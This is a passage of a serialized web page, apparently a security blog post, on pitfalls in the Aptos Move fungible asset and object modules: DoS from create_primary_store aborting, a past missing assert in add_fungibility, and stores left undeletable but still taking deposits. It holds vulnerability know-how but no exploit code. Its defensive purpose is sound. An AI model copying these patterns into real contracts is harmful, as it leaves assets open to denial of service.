",{"type":24,"tag":32,"props":64418,"children":64420},{"className":64419},[],[64421],{"type":29,"value":63902},{"type":29,"value":64423}," objects for a given token!",{"type":24,"tag":25,"props":64425,"children":64426},{},[64427,64429,64436,64438,64443],{"type":29,"value":64428},"A primary fungible store is maintained via the aptly named ",{"type":24,"tag":69,"props":64430,"children":64433},{"href":64431,"rel":64432},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[73],[64434],{"type":29,"value":64435},"primary_fungible_store",{"type":29,"value":64437}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":24,"tag":32,"props":64439,"children":64441},{"className":64440},[],[64442],{"type":29,"value":63396},{"type":29,"value":64444}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":24,"tag":25,"props":64446,"children":64447},{},[64448],{"type":29,"value":64449},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":24,"tag":80,"props":64451,"children":64453},{"className":82,"code":64452,"language":84,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[64454],{"type":24,"tag":32,"props":64455,"children":64456},{"__ignoreMap":7},[64457,64482,64514,64537,64553,64607,64622],{"type":24,"tag":90,"props":64458,"children":64459},{"class":92,"line":93},[64460,64464,64469,64473,64478],{"type":24,"tag":90,"props":64461,"children":64462},{"style":136},[64463],{"type":29,"value":63501},{"type":24,"tag":90,"props":64465,"children":64466},{"style":136},[64467],{"type":29,"value":64468}," entry",{"type":24,"tag":90,"props":64470,"children":64471},{"style":136},[64472],{"type":29,"value":8592},{"type":24,"tag":90,"props":64474,"children":64475},{"style":108},[64476],{"type":29,"value":64477}," register",{"type":24,"tag":90,"props":64479,"children":64480},{"style":114},[64481],{"type":29,"value":680},{"type":24,"tag":90,"props":64483,"children":64484},{"class":92,"line":200},[64485,64490,64494,64498,64502,64506,64510],{"type":24,"tag":90,"props":64486,"children":64487},{"style":136},[64488],{"type":29,"value":64489}," user",{"type":24,"tag":90,"props":64491,"children":64492},{"style":120},[64493],{"type":29,"value":78},{"type":24,"tag":90,"props":64495,"children":64496},{"style":120},[64497],{"type":29,"value":455},{"type":24,"tag":90,"props":64499,"children":64500},{"style":136},[64501],{"type":29,"value":9528},{"type":24,"tag":90,"props":64503,"children":64504},{"style":114},[64505],{"type":29,"value":45957},{"type":24,"tag":90,"props":64507,"children":64508},{"style":120},[64509],{"type":29,"value":3013},{"type":24,"tag":90,"props":64511,"children":64512},{"style":114},[64513],{"type":29,"value":14141},{"type":24,"tag":90,"props":64515,"children":64516},{"class":92,"line":239},[64517,64521,64525,64529,64533],{"type":24,"tag":90,"props":64518,"children":64519},{"style":114},[64520],{"type":29,"value":172},{"type":24,"tag":90,"props":64522,"children":64523},{"style":136},[64524],{"type":29,"value":8729},{"type":24,"tag":90,"props":64526,"children":64527},{"style":114},[64528],{"type":29,"value":24829},{"type":24,"tag":90,"props":64530,"children":64531},{"style":120},[64532],{"type":29,"value":3013},{"type":24,"tag":90,"props":64534,"children":64535},{"style":114},[64536],{"type":29,"value":63592},{"type":24,"tag":90,"props":64538,"children":64539},{"class":92,"line":248},[64540,64545,64549],{"type":24,"tag":90,"props":64541,"children":64542},{"style":114},[64543],{"type":29,"value":64544}," [",{"type":24,"tag":90,"props":64546,"children":64547},{"style":120},[64548],{"type":29,"value":3013},{"type":24,"tag":90,"props":64550,"children":64551},{"style":114},[64552],{"type":29,"value":14141},{"type":24,"tag":90,"props":64554,"children":64555},{"class":92,"line":258},[64556,64560,64565,64569,64574,64578,64582,64586,64590,64594,64598,64603],{"type":24,"tag":90,"props":64557,"children":64558},{"style":97},[64559],{"type":29,"value":206},{"type":24,"tag":90,"props":64561,"children":64562},{"style":136},[64563],{"type":29,"value":64564}," wallet_store",{"type":24,"tag":90,"props":64566,"children":64567},{"style":120},[64568],{"type":29,"value":216},{"type":24,"tag":90,"props":64570,"children":64571},{"style":108},[64572],{"type":29,"value":64573}," create_primary_store",{"type":24,"tag":90,"props":64575,"children":64576},{"style":114},[64577],{"type":29,"value":9582},{"type":24,"tag":90,"props":64579,"children":64580},{"style":120},[64581],{"type":29,"value":1211},{"type":24,"tag":90,"props":64583,"children":64584},{"style":108},[64585],{"type":29,"value":9591},{"type":24,"tag":90,"props":64587,"children":64588},{"style":114},[64589],{"type":29,"value":117},{"type":24,"tag":90,"props":64591,"children":64592},{"style":136},[64593],{"type":29,"value":63687},{"type":24,"tag":90,"props":64595,"children":64596},{"style":114},[64597],{"type":29,"value":1677},{"type":24,"tag":90,"props":64599,"children":64600},{"style":108},[64601],{"type":29,"value":64602},"get_metadata",{"type":24,"tag":90,"props":64604,"children":64605},{"style":114},[64606],{"type":29,"value":1928},{"type":24,"tag":90,"props":64608,"children":64609},{"class":92,"line":272},[64610,64614,64618],{"type":24,"tag":90,"props":64611,"children":64612},{"style":114},[64613],{"type":29,"value":64544},{"type":24,"tag":90,"props":64615,"children":64616},{"style":120},[64617],{"type":29,"value":3013},{"type":24,"tag":90,"props":64619,"children":64620},{"style":114},[64621],{"type":29,"value":14141},{"type":24,"tag":90,"props":64623,"children":64624},{"class":92,"line":281},[64625],{"type":24,"tag":90,"props":64626,"children":64627},{"style":114},[64628],{"type":29,"value":827},{"type":24,"tag":25,"props":64630,"children":64631},{},[64632,64633,64639,64641,64647],{"type":29,"value":3131},{"type":24,"tag":32,"props":64634,"children":64636},{"className":64635},[],[64637],{"type":29,"value":64638},"create_primary_store",{"type":29,"value":64640}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":24,"tag":32,"props":64642,"children":64644},{"className":64643},[],[64645],{"type":29,"value":64646},"ensure_primary_store_exists",{"type":29,"value":64648}," is recommended to avoid such issues.",{"type":24,"tag":850,"props":64650,"children":64652},{"id":64651},"fungible-assets-and-objects",[64653],{"type":29,"value":64654},"Fungible assets and objects",{"type":24,"tag":25,"props":64656,"children":64657},{},[64658,64660,64665,64667,64674],{"type":29,"value":64659},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":24,"tag":32,"props":64661,"children":64663},{"className":64662},[],[64664],{"type":29,"value":50674},{"type":29,"value":64666}," module, introduced in ",{"type":24,"tag":69,"props":64668,"children":64671},{"href":64669,"rel":64670},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[73],[64672],{"type":29,"value":64673},"AIP-10",{"type":29,"value":226},{"type":24,"tag":5339,"props":64676,"children":64677},{},[64678],{"type":24,"tag":25,"props":64679,"children":64680},{},[64681,64685],{"type":24,"tag":90,"props":64682,"children":64683},{},[64684],{"type":29,"value":63276},{"type":29,"value":64686}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":24,"tag":25,"props":64688,"children":64689},{},[64690],{"type":29,"value":64691},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":24,"tag":1019,"props":64693,"children":64695},{"id":64694},"creation-and-deletion",[64696],{"type":29,"value":64697},"Creation and deletion",{"type":24,"tag":25,"props":64699,"children":64700},{},[64701,64703,64709],{"type":29,"value":64702},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":24,"tag":32,"props":64704,"children":64706},{"className":64705},[],[64707],{"type":29,"value":64708},"fungible_asset::add_fungibility",{"type":29,"value":78},{"type":24,"tag":80,"props":64711,"children":64713},{"className":82,"code":64712,"language":84,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[64714],{"type":24,"tag":32,"props":64715,"children":64716},{"__ignoreMap":7},[64717],{"type":24,"tag":90,"props":64718,"children":64719},{"class":92,"line":93},[64720,64724,64728,64732,64737,64741,64746,64750,64755,64760,64764,64768],{"type":24,"tag":90,"props":64721,"children":64722},{"style":108},[64723],{"type":29,"value":43802},{"type":24,"tag":90,"props":64725,"children":64726},{"style":114},[64727],{"type":29,"value":117},{"type":24,"tag":90,"props":64729,"children":64730},{"style":120},[64731],{"type":29,"value":22417},{"type":24,"tag":90,"props":64733,"children":64734},{"style":114},[64735],{"type":29,"value":64736},"object",{"type":24,"tag":90,"props":64738,"children":64739},{"style":120},[64740],{"type":29,"value":1211},{"type":24,"tag":90,"props":64742,"children":64743},{"style":108},[64744],{"type":29,"value":64745},"can_generate_delete_ref",{"type":24,"tag":90,"props":64747,"children":64748},{"style":114},[64749],{"type":29,"value":117},{"type":24,"tag":90,"props":64751,"children":64752},{"style":136},[64753],{"type":29,"value":64754},"constructor_ref",{"type":24,"tag":90,"props":64756,"children":64757},{"style":114},[64758],{"type":29,"value":64759},"), error",{"type":24,"tag":90,"props":64761,"children":64762},{"style":120},[64763],{"type":29,"value":1211},{"type":24,"tag":90,"props":64765,"children":64766},{"style":108},[64767],{"type":29,"value":64200},{"type":24,"tag":90,"props":64769,"children":64770},{"style":114},[64771],{"type":29,"value":64772},"(EOBJECT_IS_DELETABLE));\n",{"type":24,"tag":25,"props":64774,"children":64775},{},[64776,64778,64783,64785,64790,64791,64798],{"type":29,"value":64777},"This object serves as the foundation for ownership tokens in the form of a ",{"type":24,"tag":32,"props":64779,"children":64781},{"className":64780},[],[64782],{"type":29,"value":63337},{"type":29,"value":64784},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":24,"tag":32,"props":64786,"children":64788},{"className":64787},[],[64789],{"type":29,"value":64708},{"type":29,"value":2877},{"type":24,"tag":69,"props":64792,"children":64795},{"href":64793,"rel":64794},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[73],[64796],{"type":29,"value":64797},"lacked this assert",{"type":29,"value":64799},", which we discovered and reported.",{"type":24,"tag":25,"props":64801,"children":64802},{},[64803,64808,64810,64815,64817,64822],{"type":24,"tag":32,"props":64804,"children":64806},{"className":64805},[],[64807],{"type":29,"value":64708},{"type":29,"value":64809}," transfers the ",{"type":24,"tag":32,"props":64811,"children":64813},{"className":64812},[],[64814],{"type":29,"value":63396},{"type":29,"value":64816}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":24,"tag":32,"props":64818,"children":64820},{"className":64819},[],[64821],{"type":29,"value":63337},{"type":29,"value":64823}," can be minted, representing a share of ownership in that object.",{"type":24,"tag":80,"props":64825,"children":64827},{"className":82,"code":64826,"language":84,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[64828],{"type":24,"tag":32,"props":64829,"children":64830},{"__ignoreMap":7},[64831,64839,64859,64874,64901,64916,64937,64949,64961,64973,64985,64997,65009,65016,65023,65038],{"type":24,"tag":90,"props":64832,"children":64833},{"class":92,"line":93},[64834],{"type":24,"tag":90,"props":64835,"children":64836},{"style":252},[64837],{"type":29,"value":64838},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":24,"tag":90,"props":64840,"children":64841},{"class":92,"line":200},[64842,64846,64850,64855],{"type":24,"tag":90,"props":64843,"children":64844},{"style":136},[64845],{"type":29,"value":63501},{"type":24,"tag":90,"props":64847,"children":64848},{"style":136},[64849],{"type":29,"value":8592},{"type":24,"tag":90,"props":64851,"children":64852},{"style":108},[64853],{"type":29,"value":64854}," add_fungibility",{"type":24,"tag":90,"props":64856,"children":64857},{"style":114},[64858],{"type":29,"value":680},{"type":24,"tag":90,"props":64860,"children":64861},{"class":92,"line":239},[64862,64866,64870],{"type":24,"tag":90,"props":64863,"children":64864},{"style":114},[64865],{"type":29,"value":64544},{"type":24,"tag":90,"props":64867,"children":64868},{"style":120},[64869],{"type":29,"value":3013},{"type":24,"tag":90,"props":64871,"children":64872},{"style":114},[64873],{"type":29,"value":14141},{"type":24,"tag":90,"props":64875,"children":64876},{"class":92,"line":248},[64877,64881,64885,64889,64893,64897],{"type":24,"tag":90,"props":64878,"children":64879},{"style":114},[64880],{"type":29,"value":517},{"type":24,"tag":90,"props":64882,"children":64883},{"style":120},[64884],{"type":29,"value":78},{"type":24,"tag":90,"props":64886,"children":64887},{"style":146},[64888],{"type":29,"value":63387},{"type":24,"tag":90,"props":64890,"children":64891},{"style":114},[64892],{"type":29,"value":1575},{"type":24,"tag":90,"props":64894,"children":64895},{"style":146},[64896],{"type":29,"value":63396},{"type":24,"tag":90,"props":64898,"children":64899},{"style":114},[64900],{"type":29,"value":197},{"type":24,"tag":90,"props":64902,"children":64903},{"class":92,"line":258},[64904,64908,64912],{"type":24,"tag":90,"props":64905,"children":64906},{"style":114},[64907],{"type":29,"value":64544},{"type":24,"tag":90,"props":64909,"children":64910},{"style":120},[64911],{"type":29,"value":3013},{"type":24,"tag":90,"props":64913,"children":64914},{"style":114},[64915],{"type":29,"value":14141},{"type":24,"tag":90,"props":64917,"children":64918},{"class":92,"line":272},[64919,64924,64928,64933],{"type":24,"tag":90,"props":64920,"children":64921},{"style":108},[64922],{"type":29,"value":64923}," move_to",{"type":24,"tag":90,"props":64925,"children":64926},{"style":114},[64927],{"type":29,"value":117},{"type":24,"tag":90,"props":64929,"children":64930},{"style":136},[64931],{"type":29,"value":64932},"metadata_object_signer",{"type":24,"tag":90,"props":64934,"children":64935},{"style":114},[64936],{"type":29,"value":748},{"type":24,"tag":90,"props":64938,"children":64939},{"class":92,"line":281},[64940,64945],{"type":24,"tag":90,"props":64941,"children":64942},{"style":146},[64943],{"type":29,"value":64944}," Metadata",{"type":24,"tag":90,"props":64946,"children":64947},{"style":114},[64948],{"type":29,"value":269},{"type":24,"tag":90,"props":64950,"children":64951},{"class":92,"line":384},[64952,64957],{"type":24,"tag":90,"props":64953,"children":64954},{"style":136},[64955],{"type":29,"value":64956}," name",{"type":24,"tag":90,"props":64958,"children":64959},{"style":114},[64960],{"type":29,"value":748},{"type":24,"tag":90,"props":64962,"children":64963},{"class":92,"line":420},[64964,64969],{"type":24,"tag":90,"props":64965,"children":64966},{"style":136},[64967],{"type":29,"value":64968}," symbol",{"type":24,"tag":90,"props":64970,"children":64971},{"style":114},[64972],{"type":29,"value":748},{"type":24,"tag":90,"props":64974,"children":64975},{"class":92,"line":428},[64976,64981],{"type":24,"tag":90,"props":64977,"children":64978},{"style":136},[64979],{"type":29,"value":64980}," decimals",{"type":24,"tag":90,"props":64982,"children":64983},{"style":114},[64984],{"type":29,"value":748},{"type":24,"tag":90,"props":64986,"children":64987},{"class":92,"line":437},[64988,64993],{"type":24,"tag":90,"props":64989,"children":64990},{"style":136},[64991],{"type":29,"value":64992}," icon_uri",{"type":24,"tag":90,"props":64994,"children":64995},{"style":114},[64996],{"type":29,"value":748},{"type":24,"tag":90,"props":64998,"children":64999},{"class":92,"line":574},[65000,65005],{"type":24,"tag":90,"props":65001,"children":65002},{"style":136},[65003],{"type":29,"value":65004}," project_uri",{"type":24,"tag":90,"props":65006,"children":65007},{"style":114},[65008],{"type":29,"value":748},{"type":24,"tag":90,"props":65010,"children":65011},{"class":92,"line":606},[65012],{"type":24,"tag":90,"props":65013,"children":65014},{"style":114},[65015],{"type":29,"value":5740},{"type":24,"tag":90,"props":65017,"children":65018},{"class":92,"line":615},[65019],{"type":24,"tag":90,"props":65020,"children":65021},{"style":114},[65022],{"type":29,"value":45476},{"type":24,"tag":90,"props":65024,"children":65025},{"class":92,"line":623},[65026,65030,65034],{"type":24,"tag":90,"props":65027,"children":65028},{"style":114},[65029],{"type":29,"value":719},{"type":24,"tag":90,"props":65031,"children":65032},{"style":120},[65033],{"type":29,"value":3013},{"type":24,"tag":90,"props":65035,"children":65036},{"style":114},[65037],{"type":29,"value":14141},{"type":24,"tag":90,"props":65039,"children":65040},{"class":92,"line":632},[65041],{"type":24,"tag":90,"props":65042,"children":65043},{"style":114},[65044],{"type":29,"value":827},{"type":24,"tag":20586,"props":65046,"children":65047},{},[],{"type":24,"tag":25,"props":65049,"children":65050},{},[65051,65053,65058,65060,65065],{"type":29,"value":65052},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":24,"tag":32,"props":65054,"children":65056},{"className":65055},[],[65057],{"type":29,"value":63902},{"type":29,"value":65059}," is also an object, and a \"secondary\" ",{"type":24,"tag":32,"props":65061,"children":65063},{"className":65062},[],[65064],{"type":29,"value":63902},{"type":29,"value":65066}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":24,"tag":80,"props":65068,"children":65070},{"className":82,"code":65069,"language":84,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[65071],{"type":24,"tag":32,"props":65072,"children":65073},{"__ignoreMap":7},[65074,65082,65124,65131,65139],{"type":24,"tag":90,"props":65075,"children":65076},{"class":92,"line":93},[65077],{"type":24,"tag":90,"props":65078,"children":65079},{"style":252},[65080],{"type":29,"value":65081},"//Fungible asset\n",{"type":24,"tag":90,"props":65083,"children":65084},{"class":92,"line":200},[65085,65089,65093,65098,65102,65107,65111,65115,65120],{"type":24,"tag":90,"props":65086,"children":65087},{"style":136},[65088],{"type":29,"value":63501},{"type":24,"tag":90,"props":65090,"children":65091},{"style":136},[65092],{"type":29,"value":8592},{"type":24,"tag":90,"props":65094,"children":65095},{"style":108},[65096],{"type":29,"value":65097}," remove_store",{"type":24,"tag":90,"props":65099,"children":65100},{"style":114},[65101],{"type":29,"value":117},{"type":24,"tag":90,"props":65103,"children":65104},{"style":136},[65105],{"type":29,"value":65106},"delete_ref",{"type":24,"tag":90,"props":65108,"children":65109},{"style":120},[65110],{"type":29,"value":78},{"type":24,"tag":90,"props":65112,"children":65113},{"style":120},[65114],{"type":29,"value":455},{"type":24,"tag":90,"props":65116,"children":65117},{"style":146},[65118],{"type":29,"value":65119},"DeleteRef",{"type":24,"tag":90,"props":65121,"children":65122},{"style":114},[65123],{"type":29,"value":1686},{"type":24,"tag":90,"props":65125,"children":65126},{"class":92,"line":239},[65127],{"type":24,"tag":90,"props":65128,"children":65129},{"emptyLinePlaceholder":16},[65130],{"type":29,"value":245},{"type":24,"tag":90,"props":65132,"children":65133},{"class":92,"line":248},[65134],{"type":24,"tag":90,"props":65135,"children":65136},{"style":252},[65137],{"type":29,"value":65138},"//Object\n",{"type":24,"tag":90,"props":65140,"children":65141},{"class":92,"line":258},[65142,65146,65150,65155,65159,65164,65168,65173],{"type":24,"tag":90,"props":65143,"children":65144},{"style":136},[65145],{"type":29,"value":63501},{"type":24,"tag":90,"props":65147,"children":65148},{"style":136},[65149],{"type":29,"value":8592},{"type":24,"tag":90,"props":65151,"children":65152},{"style":108},[65153],{"type":29,"value":65154}," delete",{"type":24,"tag":90,"props":65156,"children":65157},{"style":114},[65158],{"type":29,"value":117},{"type":24,"tag":90,"props":65160,"children":65161},{"style":97},[65162],{"type":29,"value":65163},"ref",{"type":24,"tag":90,"props":65165,"children":65166},{"style":120},[65167],{"type":29,"value":78},{"type":24,"tag":90,"props":65169,"children":65170},{"style":146},[65171],{"type":29,"value":65172}," DeleteRef",{"type":24,"tag":90,"props":65174,"children":65175},{"style":114},[65176],{"type":29,"value":1686},{"type":24,"tag":25,"props":65178,"children":65179},{},[65180,65182,65188,65190,65195,65197,65202,65204,65209,65211,65217,65219,65225,65227,65232],{"type":29,"value":65181},"When ",{"type":24,"tag":32,"props":65183,"children":65185},{"className":65184},[],[65186],{"type":29,"value":65187},"object::delete",{"type":29,"value":65189}," removes the ",{"type":24,"tag":32,"props":65191,"children":65193},{"className":65192},[],[65194],{"type":29,"value":50674},{"type":29,"value":65196}," from a ",{"type":24,"tag":32,"props":65198,"children":65200},{"className":65199},[],[65201],{"type":29,"value":63902},{"type":29,"value":65203}," object, the ",{"type":24,"tag":32,"props":65205,"children":65207},{"className":65206},[],[65208],{"type":29,"value":63902},{"type":29,"value":65210}," resource becomes permanently undeletable. This is because ",{"type":24,"tag":32,"props":65212,"children":65214},{"className":65213},[],[65215],{"type":29,"value":65216},"remove_store",{"type":29,"value":65218}," can't create an ",{"type":24,"tag":32,"props":65220,"children":65222},{"className":65221},[],[65223],{"type":29,"value":65224},"Object\u003CFungibleStore>",{"type":29,"value":65226}," without an ",{"type":24,"tag":32,"props":65228,"children":65230},{"className":65229},[],[65231],{"type":29,"value":50674},{"type":29,"value":65233}," underneath, causing the operation to fail.",{"type":24,"tag":80,"props":65235,"children":65237},{"className":82,"code":65236,"language":84,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[65238],{"type":24,"tag":32,"props":65239,"children":65240},{"__ignoreMap":7},[65241,65296,65348,65363],{"type":24,"tag":90,"props":65242,"children":65243},{"class":92,"line":93},[65244,65248,65252,65256,65260,65264,65268,65272,65276,65280,65284,65288,65292],{"type":24,"tag":90,"props":65245,"children":65246},{"style":136},[65247],{"type":29,"value":63501},{"type":24,"tag":90,"props":65249,"children":65250},{"style":136},[65251],{"type":29,"value":8592},{"type":24,"tag":90,"props":65253,"children":65254},{"style":108},[65255],{"type":29,"value":65097},{"type":24,"tag":90,"props":65257,"children":65258},{"style":114},[65259],{"type":29,"value":117},{"type":24,"tag":90,"props":65261,"children":65262},{"style":136},[65263],{"type":29,"value":65106},{"type":24,"tag":90,"props":65265,"children":65266},{"style":120},[65267],{"type":29,"value":78},{"type":24,"tag":90,"props":65269,"children":65270},{"style":120},[65271],{"type":29,"value":455},{"type":24,"tag":90,"props":65273,"children":65274},{"style":146},[65275],{"type":29,"value":65119},{"type":24,"tag":90,"props":65277,"children":65278},{"style":114},[65279],{"type":29,"value":172},{"type":24,"tag":90,"props":65281,"children":65282},{"style":136},[65283],{"type":29,"value":8729},{"type":24,"tag":90,"props":65285,"children":65286},{"style":114},[65287],{"type":29,"value":24829},{"type":24,"tag":90,"props":65289,"children":65290},{"style":120},[65291],{"type":29,"value":3013},{"type":24,"tag":90,"props":65293,"children":65294},{"style":114},[65295],{"type":29,"value":63592},{"type":24,"tag":90,"props":65297,"children":65298},{"class":92,"line":200},[65299,65303,65307,65311,65315,65319,65323,65328,65332,65336,65340,65344],{"type":24,"tag":90,"props":65300,"children":65301},{"style":97},[65302],{"type":29,"value":206},{"type":24,"tag":90,"props":65304,"children":65305},{"style":136},[65306],{"type":29,"value":8217},{"type":24,"tag":90,"props":65308,"children":65309},{"style":120},[65310],{"type":29,"value":216},{"type":24,"tag":90,"props":65312,"children":65313},{"style":120},[65314],{"type":29,"value":455},{"type":24,"tag":90,"props":65316,"children":65317},{"style":114},[65318],{"type":29,"value":64736},{"type":24,"tag":90,"props":65320,"children":65321},{"style":120},[65322],{"type":29,"value":1211},{"type":24,"tag":90,"props":65324,"children":65325},{"style":136},[65326],{"type":29,"value":65327},"object_from_delete_ref",{"type":24,"tag":90,"props":65329,"children":65330},{"style":114},[65331],{"type":29,"value":1575},{"type":24,"tag":90,"props":65333,"children":65334},{"style":146},[65335],{"type":29,"value":63902},{"type":24,"tag":90,"props":65337,"children":65338},{"style":114},[65339],{"type":29,"value":9992},{"type":24,"tag":90,"props":65341,"children":65342},{"style":136},[65343],{"type":29,"value":65106},{"type":24,"tag":90,"props":65345,"children":65346},{"style":114},[65347],{"type":29,"value":571},{"type":24,"tag":90,"props":65349,"children":65350},{"class":92,"line":239},[65351,65355,65359],{"type":24,"tag":90,"props":65352,"children":65353},{"style":114},[65354],{"type":29,"value":64544},{"type":24,"tag":90,"props":65356,"children":65357},{"style":120},[65358],{"type":29,"value":3013},{"type":24,"tag":90,"props":65360,"children":65361},{"style":114},[65362],{"type":29,"value":14141},{"type":24,"tag":90,"props":65364,"children":65365},{"class":92,"line":248},[65366],{"type":24,"tag":90,"props":65367,"children":65368},{"style":114},[65369],{"type":29,"value":827},{"type":24,"tag":25,"props":65371,"children":65372},{},[65373,65375,65380,65382,65388,65390,65395],{"type":29,"value":65374},"In addition, such \"deleted\" ",{"type":24,"tag":32,"props":65376,"children":65378},{"className":65377},[],[65379],{"type":29,"value":63902},{"type":29,"value":65381}," objects remain at least partially operable. For instance, ",{"type":24,"tag":32,"props":65383,"children":65385},{"className":65384},[],[65386],{"type":29,"value":65387},"fungible_asset::deposit",{"type":29,"value":65389}," does not check the ",{"type":24,"tag":32,"props":65391,"children":65393},{"className":65392},[],[65394],{"type":29,"value":50674},{"type":29,"value":65396}," existence.",{"type":24,"tag":1019,"props":65398,"children":65400},{"id":65399},"ownership",[65401],{"type":29,"value":65402},"Ownership",{"type":24,"tag":25,"props":65404,"children":65405},{},[65406,65408,65413,65415,65421,65423,65428],{"type":29,"value":65407},"Each object has an owner. Fungible assets rely on the ",{"type":24,"tag":32,"props":65409,"children":65411},{"className":65410},[],[65412],{"type":29,"value":50674},{"type":29,"value":65414}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":24,"tag":32,"props":65416,"children":65418},{"className":65417},[],[65419],{"type":29,"value":65420},"object::owns",{"type":29,"value":65422}," to confirm ownership of the ",{"type":24,"tag":32,"props":65424,"children":65426},{"className":65425},[],[65427],{"type":29,"value":63902},{"type":29,"value":52000},{"type":24,"tag":80,"props":65430,"children":65432},{"className":82,"code":65431,"language":84,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[65433],{"type":24,"tag":32,"props":65434,"children":65435},{"__ignoreMap":7},[65436,65484,65508,65535,65555,65583,65651,65666],{"type":24,"tag":90,"props":65437,"children":65438},{"class":92,"line":93},[65439,65443,65447,65451,65455,65459,65464,65468,65472,65476,65480],{"type":24,"tag":90,"props":65440,"children":65441},{"style":108},[65442],{"type":29,"value":63501},{"type":24,"tag":90,"props":65444,"children":65445},{"style":114},[65446],{"type":29,"value":117},{"type":24,"tag":90,"props":65448,"children":65449},{"style":136},[65450],{"type":29,"value":9482},{"type":24,"tag":90,"props":65452,"children":65453},{"style":114},[65454],{"type":29,"value":172},{"type":24,"tag":90,"props":65456,"children":65457},{"style":136},[65458],{"type":29,"value":3203},{"type":24,"tag":90,"props":65460,"children":65461},{"style":136},[65462],{"type":29,"value":65463}," withdraw_sanity_check",{"type":24,"tag":90,"props":65465,"children":65466},{"style":114},[65467],{"type":29,"value":1575},{"type":24,"tag":90,"props":65469,"children":65470},{"style":146},[65471],{"type":29,"value":1960},{"type":24,"tag":90,"props":65473,"children":65474},{"style":120},[65475],{"type":29,"value":78},{"type":24,"tag":90,"props":65477,"children":65478},{"style":136},[65479],{"type":29,"value":8317},{"type":24,"tag":90,"props":65481,"children":65482},{"style":114},[65483],{"type":29,"value":8973},{"type":24,"tag":90,"props":65485,"children":65486},{"class":92,"line":200},[65487,65492,65496,65500,65504],{"type":24,"tag":90,"props":65488,"children":65489},{"style":136},[65490],{"type":29,"value":65491}," owner",{"type":24,"tag":90,"props":65493,"children":65494},{"style":120},[65495],{"type":29,"value":78},{"type":24,"tag":90,"props":65497,"children":65498},{"style":120},[65499],{"type":29,"value":455},{"type":24,"tag":90,"props":65501,"children":65502},{"style":136},[65503],{"type":29,"value":9528},{"type":24,"tag":90,"props":65505,"children":65506},{"style":114},[65507],{"type":29,"value":748},{"type":24,"tag":90,"props":65509,"children":65510},{"class":92,"line":239},[65511,65515,65519,65523,65527,65531],{"type":24,"tag":90,"props":65512,"children":65513},{"style":136},[65514],{"type":29,"value":31225},{"type":24,"tag":90,"props":65516,"children":65517},{"style":120},[65518],{"type":29,"value":78},{"type":24,"tag":90,"props":65520,"children":65521},{"style":146},[65522],{"type":29,"value":63387},{"type":24,"tag":90,"props":65524,"children":65525},{"style":114},[65526],{"type":29,"value":1575},{"type":24,"tag":90,"props":65528,"children":65529},{"style":146},[65530],{"type":29,"value":1960},{"type":24,"tag":90,"props":65532,"children":65533},{"style":114},[65534],{"type":29,"value":8523},{"type":24,"tag":90,"props":65536,"children":65537},{"class":92,"line":248},[65538,65543,65547,65551],{"type":24,"tag":90,"props":65539,"children":65540},{"style":136},[65541],{"type":29,"value":65542}," abort_on_dispatch",{"type":24,"tag":90,"props":65544,"children":65545},{"style":120},[65546],{"type":29,"value":78},{"type":24,"tag":90,"props":65548,"children":65549},{"style":146},[65550],{"type":29,"value":167},{"type":24,"tag":90,"props":65552,"children":65553},{"style":114},[65554],{"type":29,"value":748},{"type":24,"tag":90,"props":65556,"children":65557},{"class":92,"line":258},[65558,65562,65566,65570,65574,65579],{"type":24,"tag":90,"props":65559,"children":65560},{"style":114},[65561],{"type":29,"value":172},{"type":24,"tag":90,"props":65563,"children":65564},{"style":136},[65565],{"type":29,"value":8729},{"type":24,"tag":90,"props":65567,"children":65568},{"style":146},[65569],{"type":29,"value":63922},{"type":24,"tag":90,"props":65571,"children":65572},{"style":114},[65573],{"type":29,"value":133},{"type":24,"tag":90,"props":65575,"children":65576},{"style":146},[65577],{"type":29,"value":65578},"DispatchFunctionStore",{"type":24,"tag":90,"props":65580,"children":65581},{"style":114},[65582],{"type":29,"value":269},{"type":24,"tag":90,"props":65584,"children":65585},{"class":92,"line":272},[65586,65590,65595,65599,65604,65608,65612,65616